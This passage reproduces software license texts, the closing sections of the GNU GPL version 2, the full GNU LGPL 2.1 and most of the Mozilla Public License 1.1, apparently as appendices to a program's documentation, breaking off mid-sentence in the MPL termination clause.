You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS


Appendix B: The LGPL License
----------------------------

GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software-to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages-typically libraries-of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.

  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

END OF TERMS AND CONDITIONS


Appendix C: The MPL License
---------------------------

MOZILLA PUBLIC LICENSE
Version 1.1

1. Definitions.

     1.0.1. "Commercial Use" means distribution or otherwise making the
     Covered Code available to a third party.

     1.1. "Contributor" means each entity that creates or contributes to
     the creation of Modifications.

     1.2. "Contributor Version" means the combination of the Original
     Code, prior Modifications used by a Contributor, and the Modifications
     made by that particular Contributor.

     1.3. "Covered Code" means the Original Code or Modifications or the
     combination of the Original Code and Modifications, in each case
     including portions thereof.

     1.4. "Electronic Distribution Mechanism" means a mechanism generally
     accepted in the software development community for the electronic
     transfer of data.

     1.5. "Executable" means Covered Code in any form other than Source
     Code.

     1.6. "Initial Developer" means the individual or entity identified
     as the Initial Developer in the Source Code notice required by Exhibit
     A.

     1.7. "Larger Work" means a work which combines Covered Code or
     portions thereof with code not governed by the terms of this License.

     1.8. "License" means this document.

     1.8.1. "Licensable" means having the right to grant, to the maximum
     extent possible, whether at the time of the initial grant or
     subsequently acquired, any and all of the rights conveyed herein.

     1.9. "Modifications" means any addition to or deletion from the
     substance or structure of either the Original Code or any previous
     Modifications. When Covered Code is released as a series of files, a
     Modification is:
          A. Any addition to or deletion from the contents of a file
          containing Original Code or previous Modifications.

          B. Any new file that contains any part of the Original Code or
          previous Modifications.

     1.10. "Original Code" means Source Code of computer software code
     which is described in the Source Code notice required by Exhibit A as
     Original Code, and which, at the time of its release under this
     License is not already Covered Code governed by this License.

     1.10.1. "Patent Claims" means any patent claim(s), now owned or
     hereafter acquired, including without limitation,  method, process,
     and apparatus claims, in any patent Licensable by grantor.

     1.11. "Source Code" means the preferred form of the Covered Code for
     making modifications to it, including all modules it contains, plus
     any associated interface definition files, scripts used to control
     compilation and installation of an Executable, or source code
     differential comparisons against either the Original Code or another
     well known, available Covered Code of the Contributor's choice. The
     Source Code can be in a compressed or archival form, provided the
     appropriate decompression or de-archiving software is widely available
     for no charge.

     1.12. "You" (or "Your")  means an individual or a legal entity
     exercising rights under, and complying with all of the terms of, this
     License or a future version of this License issued under Section 6.1.
     For legal entities, "You" includes any entity which controls, is
     controlled by, or is under common control with You. For purposes of
     this definition, "control" means (a) the power, direct or indirect,
     to cause the direction or management of such entity, whether by
     contract or otherwise, or (b) ownership of more than fifty percent
     (50%) of the outstanding shares or beneficial ownership of such
     entity.

2. Source Code License.

     2.1. The Initial Developer Grant.
     The Initial Developer hereby grants You a world-wide, royalty-free,
     non-exclusive license, subject to third party intellectual property
     claims:
          (a)  under intellectual property rights (other than patent or
          trademark) Licensable by Initial Developer to use, reproduce,
          modify, display, perform, sublicense and distribute the Original
          Code (or portions thereof) with or without Modifications, and/or
          as part of a Larger Work; and

          (b) under Patents Claims infringed by the making, using or
          selling of Original Code, to make, have made, use, practice,
          sell, and offer for sale, and/or otherwise dispose of the
          Original Code (or portions thereof).

          (c) the licenses granted in this Section 2.1(a) and (b) are
          effective on the date Initial Developer first distributes
          Original Code under the terms of this License.

          (d) Notwithstanding Section 2.1(b) above, no patent license is
          granted: 1) for code that You delete from the Original Code; 2)
          separate from the Original Code;  or 3) for infringements caused
          by: i) the modification of the Original Code or ii) the
          combination of the Original Code with other software or devices.

     2.2. Contributor Grant.
     Subject to third party intellectual property claims, each Contributor
     hereby grants You a world-wide, royalty-free, non-exclusive license

          (a)  under intellectual property rights (other than patent or
          trademark) Licensable by Contributor, to use, reproduce, modify,
          display, perform, sublicense and distribute the Modifications
          created by such Contributor (or portions thereof) either on an
          unmodified basis, with other Modifications, as Covered Code
          and/or as part of a Larger Work; and

          (b) under Patent Claims infringed by the making, using, or
          selling of  Modifications made by that Contributor either alone
          and/or in combination with its Contributor Version (or portions
          of such combination), to make, use, sell, offer for sale, have
          made, and/or otherwise dispose of: 1) Modifications made by that
          Contributor (or portions thereof); and 2) the combination of
          Modifications made by that Contributor with its Contributor
          Version (or portions of such combination).

          (c) the licenses granted in Sections 2.2(a) and 2.2(b) are
          effective on the date Contributor first makes Commercial Use of
          the Covered Code.

          (d)    Notwithstanding Section 2.2(b) above, no patent license is
          granted: 1) for any code that Contributor has deleted from the
          Contributor Version; 2)  separate from the Contributor Version;
          3)  for infringements caused by: i) third party modifications of
          Contributor Version or ii)  the combination of Modifications made
          by that Contributor with other software  (except as part of the
          Contributor Version) or other devices; or 4) under Patent Claims
          infringed by Covered Code in the absence of Modifications made by
          that Contributor.

3. Distribution Obligations.

     3.1. Application of License.
     The Modifications which You create or to which You contribute are
     governed by the terms of this License, including without limitation
     Section 2.2. The Source Code version of Covered Code may be
     distributed only under the terms of this License or a future version
     of this License released under Section 6.1, and You must include a
     copy of this License with every copy of the Source Code You
     distribute. You may not offer or impose any terms on any Source Code
     version that alters or restricts the applicable version of this
     License or the recipients' rights hereunder. However, You may include
     an additional document offering the additional rights described in
     Section 3.5.

     3.2. Availability of Source Code.
     Any Modification which You create or to which You contribute must be
     made available in Source Code form under the terms of this License
     either on the same media as an Executable version or via an accepted
     Electronic Distribution Mechanism to anyone to whom you made an
     Executable version available; and if made available via Electronic
     Distribution Mechanism, must remain available for at least twelve (12)
     months after the date it initially became available, or at least six
     (6) months after a subsequent version of that particular Modification
     has been made available to such recipients. You are responsible for
     ensuring that the Source Code version remains available even if the
     Electronic Distribution Mechanism is maintained by a third party.

     3.3. Description of Modifications.
     You must cause all Covered Code to which You contribute to contain a
     file documenting the changes You made to create that Covered Code and
     the date of any change. You must include a prominent statement that
     the Modification is derived, directly or indirectly, from Original
     Code provided by the Initial Developer and including the name of the
     Initial Developer in (a) the Source Code, and (b) in any notice in an
     Executable version or related documentation in which You describe the
     origin or ownership of the Covered Code.

     3.4. Intellectual Property Matters
          (a) Third Party Claims.
          If Contributor has knowledge that a license under a third party's
          intellectual property rights is required to exercise the rights
          granted by such Contributor under Sections 2.1 or 2.2,
          Contributor must include a text file with the Source Code
          distribution titled "LEGAL" which describes the claim and the
          party making the claim in sufficient detail that a recipient will
          know whom to contact. If Contributor obtains such knowledge after
          the Modification is made available as described in Section 3.2,
          Contributor shall promptly modify the LEGAL file in all copies
          Contributor makes available thereafter and shall take other steps
          (such as notifying appropriate mailing lists or newsgroups)
          reasonably calculated to inform those who received the Covered
          Code that new knowledge has been obtained.

          (b) Contributor APIs.
          If Contributor's Modifications include an application programming
          interface and Contributor has knowledge of patent licenses which
          are reasonably necessary to implement that API, Contributor must
          also include this information in the LEGAL file.

               (c)    Representations.
          Contributor represents that, except as disclosed pursuant to
          Section 3.4(a) above, Contributor believes that Contributor's
          Modifications are Contributor's original creation(s) and/or
          Contributor has sufficient rights to grant the rights conveyed by
          this License.

     3.5. Required Notices.
     You must duplicate the notice in Exhibit A in each file of the Source
     Code.  If it is not possible to put such notice in a particular Source
     Code file due to its structure, then You must include such notice in a
     location (such as a relevant directory) where a user would be likely
     to look for such a notice.  If You created one or more Modification(s)
     You may add your name as a Contributor to the notice described in
     Exhibit A.  You must also duplicate this License in any documentation
     for the Source Code where You describe recipients' rights or ownership
     rights relating to Covered Code.  You may choose to offer, and to
     charge a fee for, warranty, support, indemnity or liability
     obligations to one or more recipients of Covered Code. However, You
     may do so only on Your own behalf, and not on behalf of the Initial
     Developer or any Contributor. You must make it absolutely clear than
     any such warranty, support, indemnity or liability obligation is
     offered by You alone, and You hereby agree to indemnify the Initial
     Developer and every Contributor for any liability incurred by the
     Initial Developer or such Contributor as a result of warranty,
     support, indemnity or liability terms You offer.

     3.6. Distribution of Executable Versions.
     You may distribute Covered Code in Executable form only if the
     requirements of Section 3.1-3.5 have been met for that Covered Code,
     and if You include a notice stating that the Source Code version of
     the Covered Code is available under the terms of this License,
     including a description of how and where You have fulfilled the
     obligations of Section 3.2. The notice must be conspicuously included
     in any notice in an Executable version, related documentation or
     collateral in which You describe recipients' rights relating to the
     Covered Code. You may distribute the Executable version of Covered
     Code or ownership rights under a license of Your choice, which may
     contain terms different from this License, provided that You are in
     compliance with the terms of this License and that the license for the
     Executable version does not attempt to limit or alter the recipient's
     rights in the Source Code version from the rights set forth in this
     License. If You distribute the Executable version under a different
     license You must make it absolutely clear that any terms which differ
     from this License are offered by You alone, not by the Initial
     Developer or any Contributor. You hereby agree to indemnify the
     Initial Developer and every Contributor for any liability incurred by
     the Initial Developer or such Contributor as a result of any such
     terms You offer.

     3.7. Larger Works.
     You may create a Larger Work by combining Covered Code with other code
     not governed by the terms of this License and distribute the Larger
     Work as a single product. In such a case, You must make sure the
     requirements of this License are fulfilled for the Covered Code.

4. Inability to Comply Due to Statute or Regulation.

     If it is impossible for You to comply with any of the terms of this
     License with respect to some or all of the Covered Code due to
     statute, judicial order, or regulation then You must: (a) comply with
     the terms of this License to the maximum extent possible; and (b)
     describe the limitations and the code they affect. Such description
     must be included in the LEGAL file described in Section 3.4 and must
     be included with all distributions of the Source Code. Except to the
     extent prohibited by statute or regulation, such description must be
     sufficiently detailed for a recipient of ordinary skill to be able to
     understand it.

5. Application of this License.

     This License applies to code to which the Initial Developer has
     attached the notice in Exhibit A and to related Covered Code.

6. Versions of the License.

     6.1. New Versions.
     Netscape Communications Corporation ("Netscape") may publish revised
     and/or new versions of the License from time to time. Each version
     will be given a distinguishing version number.

     6.2. Effect of New Versions.
     Once Covered Code has been published under a particular version of the
     License, You may always continue to use it under the terms of that
     version. You may also choose to use such Covered Code under the terms
     of any subsequent version of the License published by Netscape. No one
     other than Netscape has the right to modify the terms applicable to
     Covered Code created under this License.

     6.3. Derivative Works.
     If You create or use a modified version of this License (which you may
     only do in order to apply it to code which is not already Covered Code
     governed by this License), You must (a) rename Your license so that
     the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape",
     "MPL", "NPL" or any confusingly similar phrase do not appear in your
     license (except to note that your license differs from this License)
     and (b) otherwise make it clear that Your version of the license
     contains terms which differ from the Mozilla Public License and
     Netscape Public License. (Filling in the name of the Initial
     Developer, Original Code or Contributor in the notice described in
     Exhibit A shall not of themselves be deemed to be modifications of
     this License.)

7. DISCLAIMER OF WARRANTY.

     COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS,
     WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
     WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF
     DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING.
     THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE
     IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT,
     YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE
     COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER
     OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF
     ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.

8. TERMINATION.

     8.1.  This License and the rights granted hereunder will terminate
     automatically if You fail to comply with terms herein and fail to cure
     such breach within 30 days of becoming aware of the breach. All
     sublicenses to the Covered Code which are properly granted shall
